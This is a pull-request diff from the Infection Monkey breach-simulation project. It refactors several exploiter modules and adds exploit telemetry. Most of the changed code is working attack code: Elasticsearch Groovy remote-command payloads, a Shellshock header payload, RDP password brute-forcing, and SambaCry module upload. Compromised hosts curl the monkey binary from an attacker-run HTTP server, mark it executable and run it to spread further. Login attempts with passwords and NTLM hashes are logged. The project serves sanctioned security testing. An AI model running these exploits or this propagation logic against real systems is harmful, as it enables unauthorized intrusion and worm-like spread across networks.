Merge pull request #60 from guardicore/feature/change-exploit-telemetry

Feature/change exploit telemetry
This commit is contained in:
Daniel Goldberg 2017-10-16 17:32:03 +03:00 committed by GitHub
commit f7b8554c26
17 changed files with 455 additions and 521 deletions

View File

@ -5,13 +5,31 @@ __author__ = 'itamar'
class HostExploiter(object):
__metaclass__ = ABCMeta
_target_os_type = []
def is_os_supported(self, host):
return host.os.get('type') in self._target_os_type
_TARGET_OS_TYPE = []
def __init__(self, host):
self._exploit_info = {}
self._exploit_attempts = []
self.host = host
def is_os_supported(self):
return self.host.os.get('type') in self._TARGET_OS_TYPE
def send_exploit_telemetry(self, result):
from control import ControlClient
ControlClient.send_telemetry(
'exploit',
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
'info': self._exploit_info, 'attempts': self._exploit_attempts})
def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''):
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash})
@abstractmethod
def exploit_host(self, host, depth=-1, src_path=None):
def exploit_host(self):
raise NotImplementedError()

View File

@ -11,9 +11,8 @@ import requests
from exploit import HostExploiter
from model import MONKEY_ARG
from model.host import VictimHost
from network.elasticfinger import ES_SERVICE, ES_PORT
from tools import get_target_monkey, HTTPTools, build_monkey_commandline
from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
__author__ = 'danielg'
@ -21,38 +20,40 @@ LOG = logging.getLogger(__name__)
class ElasticGroovyExploiter(HostExploiter):
_target_os_type = ['linux', 'windows']
# attack URLs
BASE_URL = 'http://%s:%s/_search?pretty'
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_TMP_DIR =\
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_CMD = GENERIC_QUERY \
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
def __init__(self):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(ElasticGroovyExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
def is_os_supported(self, host):
def is_os_supported(self):
"""
Checks if the host is vulnerable.
Either using version string or by trying to attack
:param host: VictimHost
:return:
"""
if host.os.get('type') not in self._target_os_type:
if not super(ElasticGroovyExploiter, self).is_os_supported():
return False
if ES_SERVICE not in host.services:
LOG.info("Host: %s doesn't have ES open" % host.ip_addr)
if ES_SERVICE not in self.host.services:
LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr)
return False
major, minor, build = host.services[ES_SERVICE]['version'].split('.')
major, minor, build = self.host.services[ES_SERVICE]['version'].split('.')
major = int(major)
minor = int(minor)
build = int(build)
@ -62,19 +63,17 @@ class ElasticGroovyExploiter(HostExploiter):
return False
if major == 1 and minor == 4 and build > 2:
return False
return self.is_vulnerable(host)
return self.is_vulnerable()
def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost)
real_host_os = self.get_host_os(host)
host.os['type'] = str(real_host_os.lower()) # strip unicode characters
if 'linux' in host.os['type']:
return self.exploit_host_linux(host, depth, src_path)
def exploit_host(self):
real_host_os = self.get_host_os()
self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters
if 'linux' in self.host.os['type']:
return self.exploit_host_linux()
else:
return self.exploit_host_windows(host, depth, src_path)
return self.exploit_host_windows()
def exploit_host_windows(self, host, depth=-1, src_path=None):
def exploit_host_windows(self):
"""
TODO
Will exploit windows similar to smbexec
@ -82,150 +81,148 @@ class ElasticGroovyExploiter(HostExploiter):
"""
return False
def exploit_host_linux(self, host, depth=-1, src_path=None):
def exploit_host_linux(self):
"""
Exploits linux using similar flow to sshexec and shellshock.
Meaning run remote commands to copy files over HTTP
:return:
"""
uname_machine = str(self.get_linux_arch(host))
uname_machine = str(self.get_linux_arch())
if len(uname_machine) != 0:
host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % host)
if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True # return already infected
src_path = src_path or get_target_monkey(host)
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux):
if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux):
return False
self.set_file_executable_linux(host, dropper_target_path_linux)
self.run_monkey_linux(host, dropper_target_path_linux, depth)
self.set_file_executable_linux(dropper_target_path_linux)
self.run_monkey_linux(dropper_target_path_linux)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
return True
def run_monkey_linux(self, host, dropper_target_path_linux, depth):
def run_monkey_linux(self, dropper_target_path_linux):
"""
Runs the monkey
"""
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
self.run_shell_command(host, cmdline)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
self.run_shell_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)):
self._config.dropper_target_path_linux, self.host, cmdline)
if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run")
def download_file_in_linux(self, host, src_path, target_path):
def download_file_in_linux(self, src_path, target_path):
"""
Downloads a file in target machine using curl to the given target path
:param host:
:param src_path: File path relative to the monkey
:param target_path: Target path in linux victim
:return: T/F
"""
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
return False
download_command = '/usr/bin/curl %s -o %s' % (
http_path, target_path)
self.run_shell_command(host, download_command)
self.run_shell_command(download_command)
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
if (http_thread.downloads != 1) or (
'ELF' not in
self.check_if_remote_file_exists_linux(host, target_path)):
self.check_if_remote_file_exists_linux(target_path)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
return False
return True
def set_file_executable_linux(self, host, file_path):
def set_file_executable_linux(self, file_path):
"""
Marks the given file as executable using chmod
:return: Nothing
"""
chmod = '/bin/chmod +x %s' % file_path
self.run_shell_command(host, chmod)
LOG.info("Marked file %s on host %s as executable", file_path, host)
self.run_shell_command(chmod)
LOG.info("Marked file %s on host %s as executable", file_path, self.host)
def check_if_remote_file_exists_linux(self, host, file_path):
def check_if_remote_file_exists_linux(self, file_path):
"""
:return:
"""
cmdline = '/usr/bin/head -c 4 %s' % file_path
return self.run_shell_command(host, cmdline)
return self.run_shell_command(cmdline)
def run_shell_command(self, host, command):
def run_shell_command(self, command):
"""
Runs a single shell command and returns the result.
"""
payload = self.JAVA_CMD % command
result = self.get_command_result(host, payload)
LOG.info("Ran the command %s on host %s", command, payload)
result = self.get_command_result(payload)
LOG.info("Ran the command %s on host %s", command, self.host)
return result
def get_linux_arch(self, host):
def get_linux_arch(self):
"""
Returns host as per uname -m
"""
return self.get_command_result(host, self.JAVA_GET_BIT_LINUX)
return self.get_command_result(self.JAVA_GET_BIT_LINUX)
def get_host_tempdir(self, host):
def get_host_tempdir(self):
"""
Returns where to write our file given our permissions
:return: Temp directory path in target host
"""
return self.get_command_result(host, self.JAVA_GET_TMP_DIR)
return self.get_command_result(self.JAVA_GET_TMP_DIR)
def get_host_os(self, host):
def get_host_os(self):
"""
:return: target OS
"""
return self.get_command_result(host, self.JAVA_GET_OS)
return self.get_command_result(self.JAVA_GET_OS)
def is_vulnerable(self, host):
def is_vulnerable(self):
"""
Checks if a given elasticsearch host is vulnerable to the groovy attack
:param host: Host, with an open 9200 port
:return: True/False
"""
result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE)
result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
return 'java.lang.Runtime' in result_text
def get_command_result(self, host, payload):
def get_command_result(self, payload):
"""
Gets the result of an attack payload with a single return value.
:param host: VictimHost configuration
:param payload: Payload that fits the GENERIC_QUERY template.
"""
result = self.attack_query(host, payload)
result = self.attack_query(payload)
if not result: # not vulnerable
return False
return result[0]
def attack_query(self, host, payload):
def attack_query(self, payload):
"""
Wraps the requests query and the JSON parsing.
Just reduce opportunity for bugs
:return: List of data fields or None
"""
response = requests.get(self.attack_url(host), data=payload)
response = requests.get(self.attack_url(), data=payload)
result = self.get_results(response)
return result
def attack_url(self, host):
def attack_url(self):
"""
Composes the URL to attack per host IP and port.
:return: Elasticsearch vulnerable URL
"""
return self.BASE_URL % (host.ip_addr, ES_PORT)
return self.BASE_URL % (self.host.ip_addr, ES_PORT)
def get_results(self, response):
"""

View File

@ -1,19 +1,21 @@
import time
import threading
import os.path
import twisted.python.log
import threading
import time
from logging import getLogger
import rdpy.core.log as rdpy_log
import twisted.python.log
from rdpy.core.error import RDPSecurityNegoFail
from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
from rdpy.core.error import RDPSecurityNegoFail
from logging import getLogger
from exploit import HostExploiter
from exploit.tools import HTTPTools
from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from model.host import VictimHost
from network.tools import check_port_tcp
from exploit.tools import HTTPTools, get_monkey_depth
from exploit.tools import get_target_monkey
from tools import build_monkey_commandline, report_failed_login
from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from network.tools import check_port_tcp
from tools import build_monkey_commandline
__author__ = 'hoffer'
KEYS_INTERVAL = 0.1
@ -37,6 +39,7 @@ def twisted_log_func(*message, **kw):
def rdpy_log_func(message):
LOG.debug("Message from rdpy library: %s" % (message,))
twisted.python.log.msg = twisted_log_func
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
rdpy_log.log = rdpy_log_func
@ -125,16 +128,17 @@ class KeyPressRDPClient(rdp.RDPClientObserver):
if key.updates == 0:
self._keys = self._keys[1:]
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
self._wait_for_update = False
self._update_lock.release()
if type(key) is ScanCodeEvent:
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special)
elif type(key) is CharEvent:
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
elif type(key) is SleepEvent:
time.sleep(key.interval)
self._wait_for_update = False
self._update_lock.release()
if type(key) is ScanCodeEvent:
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
key.is_special)
elif type(key) is CharEvent:
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
elif type(key) is SleepEvent:
time.sleep(key.interval)
self._keys = self._keys[1:]
self._keys = self._keys[1:]
else:
self._update_lock.release()
time.sleep(KEYS_SENDER_SLEEP)
@ -170,7 +174,7 @@ class CMDClientFactory(rdp.ClientFactory):
ScanCodeEvent(19, False),
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
[WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command+"&exit") +\
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
[WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()]
self._optimized = optimized
@ -228,40 +232,41 @@ class CMDClientFactory(rdp.ClientFactory):
class RdpExploiter(HostExploiter):
_target_os_type = ['windows']
def __init__(self):
_TARGET_OS_TYPE = ['windows']
def __init__(self, host):
super(RdpExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID
def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type:
def is_os_supported(self):
if super(RdpExploiter, self).is_os_supported():
return True
if not host.os.get('type'):
is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT)
if not self.host.os.get('type'):
is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT)
if is_open:
host.os['type'] = 'windows'
self.host.os['type'] = 'windows'
return True
return False
def exploit_host(self, host, depth=-1, src_path=None):
def exploit_host(self):
global g_reactor
assert isinstance(host, VictimHost)
is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT)
is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT)
if not is_open:
LOG.info("RDP port is closed on %r, skipping", host)
LOG.info("RDP port is closed on %r, skipping", self.host)
return False
src_path = src_path or get_target_monkey(host)
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
@ -269,7 +274,7 @@ class RdpExploiter(HostExploiter):
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(host, depth-1)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % {
@ -280,7 +285,6 @@ class RdpExploiter(HostExploiter):
'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline}
user_password_pairs = self._config.get_exploit_user_password_pairs()
if not g_reactor.is_alive():
@ -292,27 +296,27 @@ class RdpExploiter(HostExploiter):
try:
# run command using rdp.
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
host, user, password)
self.host, user, password)
LOG.info("RDP connected to %r", host)
LOG.info("RDP connected to %r", self.host)
client_factory = CMDClientFactory(user, password, "", command)
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
client_factory.done_event.wait()
if client_factory.success:
exploited = True
host.learn_credentials(user, password)
self.report_login_attempt(True, user, password)
break
else:
# failed exploiting with this user/pass
report_failed_login(self, host, user, password)
self.report_login_attempt(False, user, password)
except Exception, exc:
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host,
" %s and password '%s': (%s)", self.host,
user, password, exc)
continue
@ -327,6 +331,6 @@ class RdpExploiter(HostExploiter):
return False
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), host)
os.path.basename(src_path), self.host)
return True

View File

@ -19,7 +19,7 @@ import monkeyfs
from exploit import HostExploiter
from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
__author__ = 'itay.mizeretz'
@ -31,8 +31,8 @@ class SambaCryExploiter(HostExploiter):
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
"""
_target_os_type = ['linux']
_TARGET_OS_TYPE = ['linux']
# Name of file which contains the monkey's commandline
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
# Name of file which contains the runner's result
@ -50,21 +50,22 @@ class SambaCryExploiter(HostExploiter):
# Monkey copy filename on share (64 bit)
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
def __init__(self):
def __init__(self, host):
super(SambaCryExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host):
def exploit_host(self):
if not self.is_vulnerable():
return False
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
LOG.info("Writable shares and their credentials on host %s: %s" %
(host.ip_addr, str(writable_shares_creds_dict)))
(self.host.ip_addr, str(writable_shares_creds_dict)))
host.services[SMB_SERVICE]["shares"] = {}
self._exploit_info["shares"] = {}
for share in writable_shares_creds_dict:
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth)
self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(share, writable_shares_creds_dict[share])
# Wait for samba server to load .so, execute code and create result file.
time.sleep(self._config.sambacry_trigger_timeout)
@ -72,37 +73,40 @@ class SambaCryExploiter(HostExploiter):
successfully_triggered_shares = []
for share in writable_shares_creds_dict:
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share])
trigger_result = self.get_trigger_result(self.host.ip_addr, share, writable_shares_creds_dict[share])
creds = writable_shares_creds_dict[share]
self.report_login_attempt(
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result))
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares:
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
self._exploit_info["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0:
LOG.info(
"Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
"Shares triggered successfully on host %s: %s" % (
self.host.ip_addr, str(successfully_triggered_shares)))
return True
else:
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
return False
def try_exploit_share(self, host, share, creds, depth):
def try_exploit_share(self, share, creds):
"""
Tries exploiting share
:param host: victim Host object
:param share: share name
:param creds: credentials to use with share
:param depth: current depth of monkey
"""
try:
smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, depth)
smb_client = self.connect_to_server(self.host.ip_addr, creds)
self.upload_module(smb_client, share)
self.trigger_module(smb_client, share)
except (impacket.smbconnection.SessionError, SessionError):
LOG.debug(
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (
self.host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds):
"""
@ -189,18 +193,17 @@ class SambaCryExploiter(HostExploiter):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
def is_vulnerable(self, host):
def is_vulnerable(self):
"""
Checks whether the victim runs a possibly vulnerable version of samba
:param host: victim Host object
:return: True if victim is vulnerable, False otherwise
"""
if SMB_SERVICE not in host.services:
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
if SMB_SERVICE not in self.host.services:
LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
return False
pattern = re.compile(r'\d*\.\d*\.\d*')
smb_server_name = host.services[SMB_SERVICE].get('name')
smb_server_name = self.host.services[SMB_SERVICE].get('name')
samba_version = "unknown"
pattern_result = pattern.search(smb_server_name)
is_vulnerable = False
@ -225,46 +228,19 @@ class SambaCryExploiter(HostExploiter):
is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
(self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
return is_vulnerable
def is_share_writable(self, smb_client, share):
"""
Checks whether the share is writable
:param smb_client: smb client object
:param share: share name
:return: True if share is writable, False otherwise.
"""
LOG.debug('Checking %s for write access' % share)
try:
tree_id = smb_client.connectTree(share)
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except (impacket.smbconnection.SessionError, SessionError):
writable = False
pass
smb_client.disconnectTree(tree_id)
return writable
def upload_module(self, smb_client, host, share, depth):
def upload_module(self, smb_client, share):
"""
Uploads the module and all relevant files to server
:param smb_client: smb client object
:param host: victim Host object
:param share: share name
:param depth: current depth of monkey
"""
tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(host, depth,
self._config.dropper_target_path_linux) as monkey_commandline_file:
with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
@ -284,18 +260,6 @@ class SambaCryExploiter(HostExploiter):
smb_client.disconnectTree(tree_id)
def connect_to_server(self, ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
def trigger_module(self, smb_client, share):
"""
Tries triggering module
@ -346,11 +310,50 @@ class SambaCryExploiter(HostExploiter):
else:
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
def get_monkey_commandline_file(self, host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
def get_monkey_commandline_file(self, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
@staticmethod
def is_share_writable(smb_client, share):
"""
Checks whether the share is writable
:param smb_client: smb client object
:param share: share name
:return: True if share is writable, False otherwise.
"""
LOG.debug('Checking %s for write access' % share)
try:
tree_id = smb_client.connectTree(share)
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except (impacket.smbconnection.SessionError, SessionError):
writable = False
pass
smb_client.disconnectTree(tree_id)
return writable
@staticmethod
def connect_to_server(ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
@staticmethod
def create_smb(smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
@ -396,7 +399,8 @@ class SambaCryExploiter(HostExploiter):
# In our case, str(FileID)
return str(createResponse['FileID'])
def open_pipe(self, smb_client, pathName):
@staticmethod
def open_pipe(smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree('IPC$')
@ -426,7 +430,7 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0)

View File

@ -1,16 +1,17 @@
# Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py
import logging
from random import choice
import string
from tools import build_monkey_commandline
from exploit import HostExploiter
from model.host import VictimHost
from shellshock_resources import CGI_FILES
from model import MONKEY_ARG
from exploit.tools import get_target_monkey, HTTPTools
from random import choice
import requests
from exploit import HostExploiter
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from model import MONKEY_ARG
from shellshock_resources import CGI_FILES
from tools import build_monkey_commandline
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
@ -20,13 +21,14 @@ DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
class ShellShockExploiter(HostExploiter):
_target_os_type = ['linux']
_attacks = {
"Content-type": "() { :;}; echo; "
}
def __init__(self):
_TARGET_OS_TYPE = ['linux']
def __init__(self, host):
super(ShellShockExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.success_flag = ''.join(
@ -34,11 +36,10 @@ class ShellShockExploiter(HostExploiter):
) for _ in range(20))
self.skip_exist = self._config.skip_exploit_if_file_exist
def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost)
def exploit_host(self):
# start by picking ports
candidate_services = {service: host.services[service] for service in host.services if
host.services[service]['name'] == 'http'}
candidate_services = {service: self.host.services[service] for service in self.host.services if
self.host.services[service]['name'] == 'http'}
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if
'tcp-' + str(port) in candidate_services]
@ -47,65 +48,63 @@ class ShellShockExploiter(HostExploiter):
LOG.info(
'Scanning %s, ports [%s] for vulnerable CGI pages' % (
host, ",".join([str(port[0]) for port in valid_ports]))
self.host, ",".join([str(port[0]) for port in valid_ports]))
)
attackable_urls = []
# now for each port we want to check the entire URL list
for port in http_ports:
urls = self.check_urls(host.ip_addr, port)
urls = self.check_urls(self.host.ip_addr, port)
attackable_urls.extend(urls)
for port in https_ports:
urls = self.check_urls(host.ip_addr, port, is_https=True)
urls = self.check_urls(self.host.ip_addr, port, is_https=True)
attackable_urls.extend(urls)
# now for each URl we want to try and see if it's attackable
exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls]
exploitable_urls = [url for url in exploitable_urls if url[0] is True]
# we want to report all vulnerable URLs even if we didn't succeed
# let's overload this
# TODO: uncomment when server is ready for it
# [self.report_vuln_shellshock(host, url) for url in exploitable_urls]
self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]
# now try URLs until we install something on victim
for _, url, header, exploit in exploitable_urls:
LOG.info("Trying to attack host %s with %s URL" % (host, url))
LOG.info("Trying to attack host %s with %s URL" % (self.host, url))
# same attack script as sshexec
# for any failure, quit and don't try other URLs
if not host.os.get('type'):
if not self.host.os.get('type'):
try:
uname_os_attack = exploit + '/bin/uname -o'
uname_os = self.attack_page(url, header, uname_os_attack)
if 'linux' in uname_os:
host.os['type'] = 'linux'
self.host.os['type'] = 'linux'
else:
LOG.info("SSH Skipping unknown os: %s", uname_os)
return False
except Exception, exc:
LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc)
except Exception as exc:
LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
return False
if not host.os.get('machine'):
if not self.host.os.get('machine'):
try:
uname_machine_attack = exploit + '/bin/uname -m'
uname_machine = self.attack_page(url, header, uname_machine_attack)
if '' != uname_machine:
host.os['machine'] = uname_machine.lower().strip()
except Exception, exc:
LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc)
self.host.os['machine'] = uname_machine.lower().strip()
except Exception as exc:
LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
return False
# copy the monkey
dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % host)
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True # return already infected
src_path = src_path or get_target_monkey(host)
src_path = src_path or get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter ShellShock failed, http transfer creation failed.")
@ -133,12 +132,12 @@ class ShellShockExploiter(HostExploiter):
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth - 1) + ' & '
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
run_path = exploit + cmdline
self.attack_page(url, header, run_path)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline)
